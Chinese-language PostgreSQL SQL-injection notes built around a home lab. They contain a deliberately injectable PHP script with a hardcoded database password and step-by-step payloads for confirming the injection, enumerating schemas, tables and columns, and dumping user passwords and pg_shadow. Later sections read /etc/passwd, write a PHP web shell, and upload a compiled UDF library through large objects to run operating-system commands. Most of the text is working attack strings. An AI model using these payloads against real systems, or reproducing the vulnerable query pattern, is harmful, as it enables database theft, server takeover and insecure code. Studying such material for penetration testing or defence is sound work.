Postgresql注入笔记
一、前期准备
1. 测试环境
192.168.89.146 数据库服务器
Ubuntu-14.04
Postgresql-9.6
10.0.1.44 web服务器
windows server2008
phpstudy2016
客户端软件:pgAdmin4
2. 测试数据结构和内容
模式名:public
数据库名称:test
数据表名称:tbuser
数据内容和结构参考下图
3. 调用postgresql数据的php代码
<?php
header("Content-type: text/html; charset=utf-8");
//echo'please add "?uid="';
$id = $_GET['uid'];
$host = "host=192.168.89.146";
$port = "port=5432";
$dbname = "dbname=test";
$credentials = "user=postgres password=P@ssw0rd";
$db = pg_connect( "$host $port $dbname $credentials" );
if(!$db){
echo "Error : Unable to open database\n";
}
$sql = "select * from tbuser where id=$id";
$result = pg_query($db,$sql);
if ($result){
while(list($id,$username,$passwd)= pg_fetch_row($result)){
echo "用户名:" . $username . "<br/>";
echo "用户密码:" . $passwd . "<br/>";
}
}
4. 浏览器访问数据
整型参数查询url:http://10.0.1.44/postgreuix/test.php?uid=1
字符串型参数查询url:http://10.0.1.44/postgreuix/str.php?name=admin
二、验证注入点
1. 基于布尔型注入(boolean-based blind)
整型参数
test.php?uid=1 AND 1=1 运行正常
test.php?uid=1 AND 1=2 运行异常
字符型参数
str.php?name=admin' and '1'='1 运行正常
str.php?name=admin' and '1'='1 运行异常
2. 基于报错注入(error-based)
参考Sqlmap
uid=1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)
语法解析:
cast ('1' as numeric) 1转换为数字类型
Numeric(10,2) 指字段是数字型,长度为10 小数为两位的
1::text 数据类型转换为text类型
case...when...then...else...end 条件语句
获取版本号:
select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
获取Schemas名称
select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables where schemaname not in ('public') limit 1)::text AS NUMERIC)
3. 基于时间的盲注(time-based blind)
参考Sqlmap
?uid=1 AND 6489=(SELECT 6489 FROM PG_SLEEP(5))
延时5秒
4. 基于堆叠查询(多语句查询,stacked queries)
参考Sqlmap
?uid=1;select PG_SLEEP(5)--
我觉得此处使用PG_SLEEP(5)是由于无需其他信息即可验证注入点存在,如使用select前需要先知道字段数量
5. 基于联合查询(UNION query)
?uid=1 order by 1,2,3 运行正常
?uid=1 order by 1,2,3,4 运行异常,获取字段数3
?uid=1 UNION ALL SELECT NULL,('11111'),NULL-- 查看是否输出11111
三、获取数据库结构和内容
此处均基于联合查询
1. 获取模式名称(schemaname)名称
参考Sqlmap
?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables
简化:
?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
语法解析:
COALESCE(expression[,n]) coalesce函数返回参数(列名)中第一个非NULL值的字段值,注意不是为空''
cast ('1' as numeric) 1转换为数字类型
简化:
?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--
用户创建的数据库默认模式名称(schemaname)为public
2. 获取数据表名称
参考Sqlmap
?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(tablename AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables WHERE schemaname IN ((CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)))
简化:
uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')
3. 获取表字段名称
参考Sqlmap
?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(attname AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(typname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname=(CHR(116)||CHR(98)||CHR(117)||CHR(115)||CHR(101)||CHR(114)) AND nspname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99))--
简化:
?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'--
4. 获取表内容
参考Sqlmap
UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM public.tbuser--
简化:
?uid=1 UNION ALL SELECT NULL,COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32))),NULL FROM public.tbuser--
简化整理:
?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--
三、文件或目录操作
1. PostgreSQL中部分内置函数、表
Item | Value |
---|---|
获取数据库类型及版本 | ?uid=1 UNION SELECT NULL,version(),NULL |
目前执行环境中的用户名 | ?uid=1 union ALL select NULL,current_user,NULL |
当前数据库名字 | ?uid=1 union ALL select NULL,current_database() ,NULL |
此表包含数据库用户的信息 | ?uid=1 UNION SELECT NULL,usename,passwd from pg_shadow |
postgresql安装目录 | ?uid=1 union SELECT NULL,setting,NULL FROM pg_settings WHERE name='data_directory' |
参考:http://www.php100.com/manual/PostgreSQL8/functions-info.html
2. 列目录——只能列安装目录下的文件
?uid=1 union select NULL,NULL,pg_ls_dir('./')
只显示目录名
?uid=1 and 1=2 union select NULL,NULL,pg_ls_dir('./')
3. 读文件
?uid=1;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;
简化:
?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM '/etc/passwd';
SELECT NULL,t,NULL FROM passwd;
4. 写文件
?uid=1;DROP TABLE hacktb;CREATE TABLE hacktb (t TEXT);INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');COPY hacktb(t) TO '/tmp/hack.php';
简化:
?uid=1;
DROP TABLE hacktb;
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');
COPY hacktb(t) TO '/tmp/hack.php';
四、命令执行
1. 下载编译sqlmap工程提供的udf源码
获取源码
>git clone https://github.com/sqlmapproject/udfhack/
编译源码(数据库版本:9.6)
> cd udfhack/linux/64/lib_postgresqludf_sys
> apt-get install postgresql-server-dev-9.6
> gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
> strip -sx udf64.so
2. 利用python脚本对生成的so文件编码,并切割成每段小于2k的片段
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 1023 == 0:
print "\n"
fileobj.close()
python hex.py udf64.so
3. 利用 PostgreSQL 的“大对象数据”将so文件写入目标服务器
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4602010100000...200', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000000000000000...e36', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('005f6564617461005f5...9e0', 'hex'));
...
INSERT INTO pg_largeobject VALUES (12345, 13, decode('6300746578745f7074...200', 'hex'));
SELECT lo_export(12345, '/var/lib/postgresql/9.6/main/udf.so');
SELECT lo_unlink(12345);
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS "/var/lib/postgresql/9.6/main/udf.so", "sys_eval" LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
参考: